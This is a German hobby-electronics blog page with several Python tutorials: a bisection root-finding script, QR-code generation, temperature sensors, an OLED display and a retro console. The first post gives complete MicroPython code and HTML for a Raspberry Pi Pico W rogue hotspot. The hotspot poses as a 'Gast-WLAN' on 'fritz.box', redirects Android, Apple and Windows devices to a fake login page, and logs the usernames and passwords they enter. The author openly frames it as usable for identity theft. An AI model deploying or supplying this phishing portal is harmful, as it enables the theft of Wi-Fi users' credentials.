Posts mit dem Label Python werden angezeigt. Alle Posts anzeigen
Posts mit dem Label Python werden angezeigt. Alle Posts anzeigen

Freitag, 5. Januar 2024

Raspberry Pi Pico - WLAN und Webserver Bibliothek "phew"

Der Raspberry Pi Pico W kostet nur ca. 10 Euro und ist somit viel günstiger als der normale Raspberry Pi oder Raspberry Pi Zero. Der Pico arbeitet mit einem RP2040 Mikrocontroller (ARM Cortex M0+ mit bis zu 133 MHz Taktfrequenz als CPU, 264 kByte RAM und 2 MByte Flash-Speicher).

In diesem Beitrag werde ich zeigen, wie man einen WLAN-Hotspot einrichtet und per Webserver eine Webseite bzw. eine Hotspot Anmeldewebseite (Captive Portal) ausliefert. Diese kann nun zum Identitätsdiebstahl dienen.


MicroPython installieren

MicroPython steht auf der folgenden Webseite https://micropython.org/download/RPI_PICO_W/ zum Download bereit.

Nach dem Download muss die UF2-Datei auf den Pico geladen werden. Hierfür muss die Boot-Selektor-Taste (BootSEL) gedrückt gehalten werden und der Pico per USB-Kabel mit dem Rechner verbunden werden.
Die Taste BootSEL kann jetzt losgelassen werden, der Pico wird jetzt als Massenspeicher RPI-RP2 erkannt und die Firmwaredatei kann kopiert werden.

Nach dem kopieren der Firmware-Datei, wird diese sofort installiert und es wird ein Reset durchgeführt (der Massenspeicher wird nicht mehr angezeigt).

Die Programmierung kann anschließend mit der Entwicklungsumgebung Thonny erfolgen.

Unter Linux (in meinem Fall das Steam Deck) ist folgendes zu beachten:
(deck@steamdeck Tools)$ ls -l /dev/ttyACM1
crw-rw---- 1 root uucp 166, 1 Jan  2 20:08 /dev/ttyACM1
(deck@steamdeck Tools)$ sudo usermod -a -G uucp deck


Siehe auch https://support.arduino.cc/hc/en-us/articles/360016495679-Fix-port-access-on-Linux.

"phew" Bibliothek (WLAN- und Webserver) installieren

Das aktuelle Release von "phew" unter https://github.com/pimoroni/phew/releases herunterladen und mit Hilfe von Thonny auf den Pico übertragen.


Jetzt lässt sich "phew" wie jede andere Bibliothek einbinden.

Hotspot-Popup (Captive-Portal) programmieren

Wir beginnen mit der main.py . Hier gibt es Abschnitte mit den Kommentaren „#Android Redirects“, „#Apple Redir“ und „#Microsoft Windows Redirects“. In diesen Abschnitten werden die jeweiligen Tests behandelt, die jedes Betriebssystem ausführt um auf ein Captive Portal zu reagieren.

#!/usr/bin/python
# coding=utf-8
# Captive Portal with a Raspberry Pi Pico W
# (c) Sebastian Hemel, www.shemel.de
# Based on picockpit.com/raspberry-pi/raspberry-pi-pico-w-captive-portal-hotspot-access-point-pop-up/
#-----------------------------------------------------------------------------------

from phew import access_point, logging, server, dns
from phew.template import render_template
from os import stat

# This is the address that is shown on the Captive Portal
DOMAIN = "fritz.box" #pico.wireless
# Change this to whatever Wifi SSID you wish
SSID = "Gast-WLAN" #Pico W Captive
HTDOCS = "htdocs"

#How to trigger the pop-up
@server.route("/hotspot-detect.html", methods=["GET"])     # apple redir
@server.route("/generate_204", methods=["GET"])            # android redirects
@server.route("/redirect", methods=["GET"])
def hotspot(request):
    logging.info("redirecting hotspot request " + request.path)
    return server.redirect(f"http://{DOMAIN}/", 302)

@server.route("/ncsi.txt", methods=["GET"])                # microsoft windows redirects
@server.route("/connecttest.txt", methods=["GET"])
def hotspot(request):
    return "", 200

@server.route("/", methods=['GET'])
def index(request):
    logging.info("route/ retrieving index.html")
    logging.info("Got data: " + request.query_string)
    return render_template(HTDOCS + "/index.html")

@server.route("route/data.html", methods=["GET"])
def hotspot(request):
    logging.info("/data.html retrieving index.html")
    logging.info("Got data: " + request.query_string)
    return render_template(HTDOCS + "/index.html")

@server.route("/log.txt", methods=["GET"])
def hotspot(request):
    return render_template("log.txt")

@server.catchall()
def catch_all(request):
    try:
        print("***************CATCHALL***********************\n" + str(request))
        stat(HTDOCS + request.path)
        return render_template(HTDOCS + request.path)
    except OSError:
        return "Not found:" + request.path, 404

# Set to Accesspoint mode
ap = access_point(SSID)
ip = ap.ifconfig()[0]
# Grab the IP address and store it
logging.info(f"starting DNS server on {ip}")
# Catch all (DNS server) requests and reroute them
dns.run_catchall(ip)
# Run the server
server.run()
logging.info("Webserver Started")


Im nächsten Schritt benötigen wir eine index.html , hierbei handelt es sich um eine einfache "Proof-of-Concept-Datei". Diese gibt sich als "Captive Portal" aus und fordert den User auf seine Zugangsdaten einzugeben.

     

<!DOCTYPE html>
<html lang="de">
    <head>
        <meta charset="UTF-8" />
        <meta http-equiv="X-UA-Compatible" content="IE=edge" />
        <meta name="viewport" content="width=device-width, initial-scale=1.0" />
        <title>Pico W Captive Portal</title>
      </head>
      <body>
        <h1>Willkommen beim Captive Portal</h1>
     
        <h2>Login</h2>
           <form id="login-form">
              <p>
            <input type="text" name="username" id="username-field" class="login-form-field" placeholder="Benutzername">
            </p>
              <p>
            <input type="password" name="password" id="password-field" class="login-form-field" placeholder="Passwort">
            </p>
            <input type="submit" value="Absenden" id="login-form-submit" onclick="validate()">
        </form>
       
<script>
    function validate(){
        var username = document.getElementById("username-field").value;
        var password = document.getElementById("password-field").value;
        if (username && password){
            alert ("Login erfolgreich!");
            window.location = "index.html?username="+username+"&password="+password; // Redirecting to other page.
            return false;
        }
        else{
            alert("Bitte geben Sie Ihre Zugangsdaten ein!");
            return false;
        }
    }   
</script>
       
    </body>
</html>

Diese werden durch das Python Script jedoch in eine log.txt gespeichert ;-) .

Hinweis: Bitte beachtet hier den § 202c Vorbereiten des Ausspähens und Abfangens von Daten!

Sonntag, 12. Juni 2022

Programmierung - Halbierungsmethode (Wurzelfindung) mit Excel und Python inkl. Struktogramm

Mi Hilfe des Halbierungsverfahren, kann man Sie sich z.B. einer Wurzel nähern. Siehe auch https://de.wikibrief.org/wiki/Root-finding_algorithms => "Halbierungsmethode". Auf dieser Basis habe ich ein Struktogramm erstellt und eine Umsetzung mit Excel und Python realisiert.


Struktogramm

Dies wurde mit Hilfe des Struktogrammeditor, ein Tool des Lehrstuhls für Didaktik der Informatik der TU Dresden, erstellt.


Excel

Umsetzung in Excel (Halbierungsverfahren_Wurzel.xlsx) mit Hilfe der folgenden Formeln.


Python

Programmierung in Python (Halbierungsmethode_Wurzel.py), online ausführbar über:

 

z=float(input("Zahl ? "))
l=float(input("Linke Grenze ? "))
r=float(input("Rechte Grenze ? "))
n=float(input("Durchläufe ? "))

i=1
while i<=n:
    m=(l+r)/2
    if m**2<z:
        l=m
    else:
        r=m
    print(i, l, r)
    i=i+1

 

Quelle: c't 12/2022 S. 156

Freitag, 3. Juni 2022

Python - Generierung von QR-Code Bildern

Mit Hilfe der Python QR-Code-Generierungsbibliothek "qrcode" kann man ganz einfach QR-Code-Bilder generieren. Es ist auch mit "Pillow" möglich einen QR-Code in ein anderes Bild einzubetten oder ein Bild in einen QR-Code einzubetten. In diesem Beitrag zeige ich einige Beispiele.

Python QR-Code Bild-Generator: qrcode

Der QR-Code ist ein zweidimensionaler Code, der aus quadratischen schwarzen und weißen Punkten (Zellen) besteht, siehe auch https://de.wikipedia.org/wiki/QR-Code.

Python hat eine eigene Bibliothek zum Generieren von QR-Code-Bildern, siehe auch https://github.com/lincolnloop/python-qrcode.

Die Standardinstallation erfolgt mit dem folgenden Befehl:
pip install qrcode[pil]

Wenn man einen einfachen QR-Code erstellen möchte, funktioniert dies mit dem folgenden Befehl:
qr "Test Blog shemel.de" > qrcode.png

Hinweis: Ein QR-Code enthält nur eine Zeichenfolge (String).

QR-Code Bild mit Python erstellen

import qrcode

img = qrcode.make('https://www.shemel.de')

print(type(img))
print(img.size)

img.save('/home/hemel/qrcode_hemel_1.png')

Sollte der Fehler "AttributeError: module 'qrcode' has no attribute 'make'" erscheinen, bitte als Dateinamen NICHT qrcode.py wählen. Siehe auch https://github.com/lincolnloop/python-qrcode/issues/185.

Man kann auch mit Hilfe der QRCode-Klasse Details verändern:

qr = qrcode.QRCode(
    version=12,
    error_correction=qrcode.constants.ERROR_CORRECT_H,
    box_size=2,
    border=8
)
qr.add_data('htttps://www.shemel.de')
qr.make()
img = qr.make_image(fill_color="yellow", back_color="#23dda0")
img.save('/home/hemel/qrcode_hemel_2.png')


QR-Code in ein Bild einbetten

Mit Hilfe von PilImage kann man Image-Objekte direkt in andere Bilder einfügen bzw. einbetten.

Anbei ein Beispiel zum Einfügen des QR-Codes in der unteren rechten Ecke.

import qrcode
from PIL import Image

img_bg = Image.open('/home/hemel/blog.png')

qr = qrcode.QRCode(box_size=2)
qr.add_data('
htttps://www.shemel.de')
qr.make()
img_qr = qr.make_image()

pos = (img_bg.size[0] - img_qr.size[0], img_bg.size[1] - img_qr.size[1])

img_bg.paste(img_qr, pos)
img_bg.save('/home/hemel/qrcode_hemel_3.png')


QR-Code zum Bezahlen benutzen

Siehe auch c't 9/2022 S. 8 https://www.heise.de/select/ct/2022/9/softlinks/yb26?wt_mc=pred.red.ct.ct092022.008.softlink.softlink und https://de.wikipedia.org/wiki/EPC-QR-Code.

import qrcode

vwz = "Rechnung 123456789"
iban = "DE02100500000054540402"
bic = "BELADEBE"
recipient = "Beispielfirma Musterdörfer"
amount = 55.25
filename = "epc_qr"

# The docs can be found here: https://pypi.org/project/qrcode/
qr = qrcode.QRCode(error_correction=qrcode.constants.ERROR_CORRECT_M)

qr.add_data("BCD\n")
qr.add_data("002\n")
qr.add_data("1\n")
qr.add_data("SCT\n")
qr.add_data(bic+"\n")
qr.add_data(recipient[0:69]+"\n")
qr.add_data(iban+"\n")
qr.add_data("EUR"+str(amount)+"\n")
qr.add_data("\n")
qr.add_data("\n")
qr.add_data(vwz[0:139]+"\n")
qr.make(fit=True)
img = qr.make_image()
img.save(filename+".png")


Samstag, 5. Dezember 2020

Raspberry Pi - Temperatursensor DS18B20 - Update I

Kurzes Update für den Artikel Raspberry Pi - Temperatursensor DS18B20. Jetzt gibt es ein Python Script, welches direkt die ID des Sensors herausfindet.

Mit dem Script temperatur.py ist es nicht mehr notwendig die ID (/sys/bus/w1/devices/xx-xxxxxxxxxxxx/w1_slave) des Sensors manuell anzupassen.

Download: wget https://www.shemel.de/download/raspberry/temperatur.py

Mittwoch, 6. November 2019

Retrokonsole - ODROID-GO mit ESP32, Arduino und MicroPython

Mit dem Selbstbausatz von ODROID-GO bekommt man eine Retrokonsole im Gameboy Design. Zusätzlich ist mit dem ESP32 MicroPython und Arduino Programmierung möglich.


Man benötigt ca. 15 Minuten für den Zusammenbau und der Bausatz selber kostet ca. 40 EUR. Desweiteren benötigt man noch eine MicroSD Karte für die ROMs und sonstige Erweiterungen (siehe https://forum.odroid.com/viewtopic.php?f=159&t=31716).

Eine gute Anleitung zum schnellen Zusammenbau findet sich direkt im ODROID Wiki:
 

Die folgenden Konsolen werden ab Werk unterstützt:
  • Nintendo Entertainment System (NES)
  • Nintento GameBoy (GB)
  • Nintendo GameBoy Color (GBC)
  • Sega Master System (SMS)
  • Sega Game Gear (SGG)
  • ColecoVison bzw. Atari(COL)
Eine Anleitung zur Installation dazu findet sich hier https://wiki.odroid.com/odroid_go/make_sd_card .

Dank des sparsamen ESP32 Mikrocontroller hält der Akku bis zu 10 Stunden. Über die GPIO-Pins (I2C) lässt sich der ODROID-GO erweitern

Mir persönlich fehlt ein Kopfhöreranschluss, damit man unterwegs niemanden mit den Retrospiele-Sounds stört ;-) .



Technische Daten:
  • CPU & RAM: 80MHz - 240MHz(Adjustable), 4MB PSRAM
  • Wi-Fi: 802.11 b/g/n 2.4GHz - 2.5GHz
  • Bluetooth: Bluetooth v4.2 BR/EDR, BLE
  • Display: 2.4inch 320×240 TFT LCD (SPI interface)
  • Battery: Li-Polymer 3.7V/1200mAh, Up to 10 hours of continuous game playing time
  • Speaker: 0.5Watt 8Ω Mono
  • Micro SD card slot: 20Mhz SPI interface
  • Micro USB port: Battery charging(500mA) and USB-UART data communication
  • Expansion Port: 10Pin port (I2C, GPIO, IRQ at 3.3Volt)
  • Input Buttons: Menu, Volume, Select, Start, A, B, Direction Pad
  • Power consumption: Game emulation: 100~115mA, Sleep mode: 5.3~5.8mA, Power off: 0.1mA
Quelle: https://wiki.odroid.com/odroid_go/odroid_go#specifications

Samstag, 26. Mai 2018

Raspberry Pi - OLED Display (SSD1306) I2C ansteuern und Temperatur auslesen

Hier nun mein 2. Versuch erfolgreich ein Display anzusteuern, nachdem es beim LCD Display HD44780 (http://sebastianhemel.blogspot.de/2018/04/raspberry-pi-lcd-display-hd44780.html) immer wieder zu Problemen kam.

In diesem Artikel beschreibe ich, wie man das Display ansteuern kann und z.B. zur Anzeige von Datum, Uhrzeit und Temperatur (http://sebastianhemel.blogspot.de/2015/01/temperatursensor-ds18b20-raspberry-pi.html) verwenden kann.

Das 128 x 64 Pixel - 0,96 Zoll OLED I2C Display gibt es bei Amazon für ca. 7 EUR. Die Kabel vom Display zum Pi habe ich nicht gelötet, sondern nur gesteckt. Hierfür habe ich Jumperkabel verwendet und diese über Listerklemmen verbunden. Alternativ kann man dies auch über ein Laborsteckboard realisieren.

Folgender Aufbau ergibt sich inklusive Verwendung des Temperatursensor DS18B20, siehe auch folgende Grafik inkl. der korrekten Zuordnung für die Verkabelung:


Das Display wird zur Spannungsversorgung an 3,3 Volt (Pin 1) und Ground (ein GND z.B. Pin 6, 9, 14 usw.) und an die I2C Schnittstelle des Raspberry Pi angeschlossen. Für I2C muss man Pin 3 (SDA) und 5 (SCL) verwenden.

I2C Schnittstelle im Raspbian Betriebssystem einschalten:

Hinweis: Ich verwende den vi als Texteditor, man gerne auch z.B. den Nano verwenden.

sudo vi /etc/modules

Und die folgenden 2 Zeilen hinzufügen (zusätzlich zu denen vom Temperatursensor):

w1-gpio
w1-therm

i2c-bcm2708
i2c-dev


Jetzt muss noch die Konfigurationsdatei angepasst werden:
sudo vi /boot/config.txt

dtparam=i2c_arm=on #entfernen
dtparam=i2s=on     #entfernen

Jetzt muss noch ein reboot erfolgen, damit die Einstellungen übernommen werden:
sudo reboot

Damit man jetzt die Verbindung testen kann, sollte noch das folgemde Packet installiert werden:
sudo apt-get install i2c-tools

Mit dem folgenden Befehl kann überprüft werden, ob die Verbindung zum Display funktioniert bzw. verbunden ist:
i2cdetect -y 1

Hinweis: Mit dem Befehl i2cdect werden alle 256 Adressen abgefragt: Antwortet ein Chip, sieht man seine Adresse auf dem Raster.
 


Achtung: DEPRECATED LIBRARY!!! 

Ich werde demnächst ein Update auf Basis der CircuitPython library "https://learn.adafruit.com/monochrome-oled-breakouts/python-wiring" bereitstellen! Es ist nicht mehr sichergestellt, dass das folgende beschriebene Vorgehen weiterhin funktioniert!

Installation der SSD1306 Bibliothek für Python

Damit der SSD1306 Displaycontroller angesprochen werden kann, muss noch die folgende Bibliothek installiert werden.

https://github.com/adafruit/Adafruit_Python_SSD1306

git clone https://github.com/adafruit/Adafruit_Python_SSD1306.git

Noch kein Git installiert? Dann muss noch der folgende Befehl ausgeführt werden:
sudo apt-get install git-core 


Update 18.07.2021: Es kommt bei der Ausführung mit Python 2 zu der folgenden Fehlermeldung:

File "/tmp/easy_install-hLJK_s/Adafruit_PureIO-1.1.9/temp/easy_install-y2sFHG/setuptools_scm-6.0.1/src/setuptools_scm/utils.py", line 41
    print(*k)
          ^
SyntaxError: invalid syntax

Der Support für Python 2 ist ausgelaufen und setuptools_scm-6.0.1 wird nicht von Python 2 unterstützt! Die Installation muss daher mit Python 3 durchgeführt werden!


Jetzt in das soeben angelegte Git Verzeichnis gehen und per setup.py installieren:
~/Adafruit_Python_SSD1306 $ sudo python3 setup.py install
~/Adafruit_Python_SSD1306 $ sudo python setup.py install

Sollte es zu den folgenden Fehlermeldung kommen:
error: Setup script exited with error: command 'arm-linux-gnueabihf-gcc' failed with exit status 1

Muss noch der folgende  Befehl ausgeführt werden:
sudo apt-get install python-dev 

Sollte es zu den folgenden Fehlermeldung kommen:
ImportError: No module named setuptools

Muss noch der folgende  Befehl ausgeführt werden:
sudo apt-get install python3-setuptools
sudo apt-get install python-setuptools

Sollte es zu den folgenden Fehlermeldung kommen:
ModuleNotFoundError: No module named 'ensurepip'
sudo apt-get install python3-pip

Anschließend muss noch das RPi.GPIO Package für python installiert werden:

sudo pip3 install RPi.GPIO
sudo pip install RPi.GPIO

oder

Manueller Download unter https://archive.raspberrypi.org/debian/pool/main/r/rpi.gpio/:

wget https://archive.raspberrypi.org/debian/pool/main/r/rpi.gpio/python-rpi.gpio_0.6.3~jessie-1_armhf.deb
dpkg -i python-rpi.gpio_0.3.1a-1_armhf.deb

Folgende (python) Module müssen noch installiert werden:

sudo apt-get install libjpeg8-dev ibjpeg9-dev zlib1g-dev libfreetype6-dev liblcms2-dev libwebp-dev tcl8.5-dev tk8.5-dev python-tk
sudo pip3 install --upgrade pip

Sollte es zu den folgenden Fehlermeldung kommen:
ModuleNotFoundError: No module named 'PIL'
sudo pip3 install Pillow
sudo pip install Pillow
(PIL ist die Python Imaging Library)

Sollte es zu den folgenden Fehlermeldung kommen:
ImportError: libopenjp2.so.7: cannot open shared object file: No such file or directory
sudo apt-get install libopenjp2-7-dev

Sollte es zu den folgenden Fehlermeldung kommen:
ImportError: libtiff.so.5: cannot open shared object file: No such file or directory
sudo apt-get install libtiff5


Jetzt kann es endlich losgehen, ich habe noch eine andere Schriftart verwendet. Weitere gibt es auch hier: https://www.dafont.com/bitmap.php
wget http://www.shemel.de/download/raspberry/arial.ttf


Mit der folgenden python Datei, kann das Display getestet werden:

wget http://www.shemel.de/download/raspberry/OLEDdisplayTemp.py
chmod +x OLEDdisplayTemp.py
python3 OLEDdisplayTemp.py
python OLEDdisplayTemp.py
(Quelle: https://learn.adafruit.com/ssd1306-oled-displays-with-raspberry-pi-and-beaglebone-black/usage)

Damit das Script direkt beim Starten des Pi ausgeführt wird, kann man jetzt noch einen Eintrag unter crontab -e hinzufügen:
@reboot python3 OLEDdisplayTemp.py
@reboot python OLEDdisplayTemp.py

Alternativ geht dies auch mit sudo nano /etc/rc.local -> sudo python3 /home/pi/OLEDdisplayTemp.py &

 

Quellcode:


#!/usr/bin/python3
# coding=utf-8
# Temperatur von Sensor auslesen auf OLED Display anzeigen
# (c) Sebastian Hemel, www.shemel.de
#-----------------------------------------------------------------------------------
import time
import datetime
import re
import os, sys, threading

# 0,96 Zoll OLED Display 128x64 Pixel
import Adafruit_SSD1306
from PIL import Image, ImageDraw, ImageFont

a=u"°" # damit Sonderzeichen korrekt dargestellt wird 
 
#Quelle: http://www.schnatterente.net/code/raspberrypi/temperature.py
############################################################################################
# Temperatursensor Name ermitteln
SensorPfad = "/sys/bus/w1/devices/" # Pfad
SensorNames = open("/sys/bus/w1/devices/w1_bus_master1/w1_master_slaves" ,"r")
Sensor = SensorNames.readline()
if Sensor:
 SensorNames.close() 
 
# Temperatur ermitteln und Wert value zurckgeben
def GetTemp():
 a = open(SensorPfad+Sensor.strip()+'/w1_slave', 'r') # Ermittelten Sensor lesen
 Temp = a.readline()

 if re.match(r"([0-9a-f]{2} ){9}: crc=[0-9a-f]{2} YES", Temp): # Erste Zeile auf "YES" am Ende uberprufen
  Temp = a.readline()
  m = re.match(r"([0-9a-f]{2} ){9}t=([+-]?[0-9]+)", Temp) # Wert aus zweiter Zeile prufen 
 if m:
  value = str(float(m.group(2)) / 1000.0) # Wert nach t= auslesen und umwandeln
 a.close()
 return value # Ruckgabewert "value" definieren
# Temperatur zurueckgeben
############################################################################################
 
# Display einrichten
 
# Raspberry Pi pin configuration:
RST = 24
 
# Display 128x64 display with hardware I2C:
disp = Adafruit_SSD1306.SSD1306_128_64(rst=RST)
 
# Initialize library.
disp.begin()
 
# Clear display.
disp.clear()
disp.display()
 
# Create blank image for drawing.
# Make sure to create image with mode '1' for 1-bit color.
width = disp.width
height = disp.height
image = Image.new('1', (width, height))
 
# Get drawing object to draw on image.
draw = ImageDraw.Draw(image)
 
# Draw a black filled box to clear the image.
draw.rectangle((0,0,width,height), outline=0, fill=0)

# First define some constants to allow easy resizing of shapes.
padding = 2
shape_width = 20
top = padding
bottom = height-padding
 
# Move left to right keeping track of the current x position for drawing shapes.
x = padding
 
# Load default font.
#font = ImageFont.load_default() #
# Alternatively load a TTF font. => https://www.dafont.com/bitmap.php
font12 = ImageFont.truetype("font/arial.ttf", 12) # Schriftart, Schriftgröße
font20 = ImageFont.truetype("font/arial.ttf", 20)
font15 = ImageFont.truetype("font/arial.ttf", 14)

# Write two lines of text.
draw.text((x, top+15), ' (c) Sebastian Hemel',  font=font12, fill=255)
draw.text((x, top+30), '     www.shemel.de  ',  font=font12, fill=255)
 
# Display image.
disp.image(image)
disp.display()

time.sleep(5) # 5sec warten, damit Sensor ausgelesen werden kann

while True: # endlos Schleife
try: # Fehler abfangen? now=datetime.datetime.now() Zeit = now.strftime("%d.%m.%Y - %H:%M:%S") # Aktuelles Datum + Uhrzeit Temp = GetTemp() # Temperatur messen.... draw.rectangle((0,0,width,height), outline=0, fill=0) #clear Display draw.text((x, top), Zeit, font=font12, fill=255) draw.text((x, top+15), '-------------------------------', font=font12, fill=255) draw.text((x, top+30), Temp+' '+a+'C', font=font20, fill=255) disp.image(image) disp.display() time.sleep(5) # 5sec warten, bis Sensor erneut abgefragt wird except KeyboardInterrupt: # STR+C = Abbruch draw.rectangle((0,0,width,height), outline=0, fill=0) #clear Display disp.image(image) disp.display()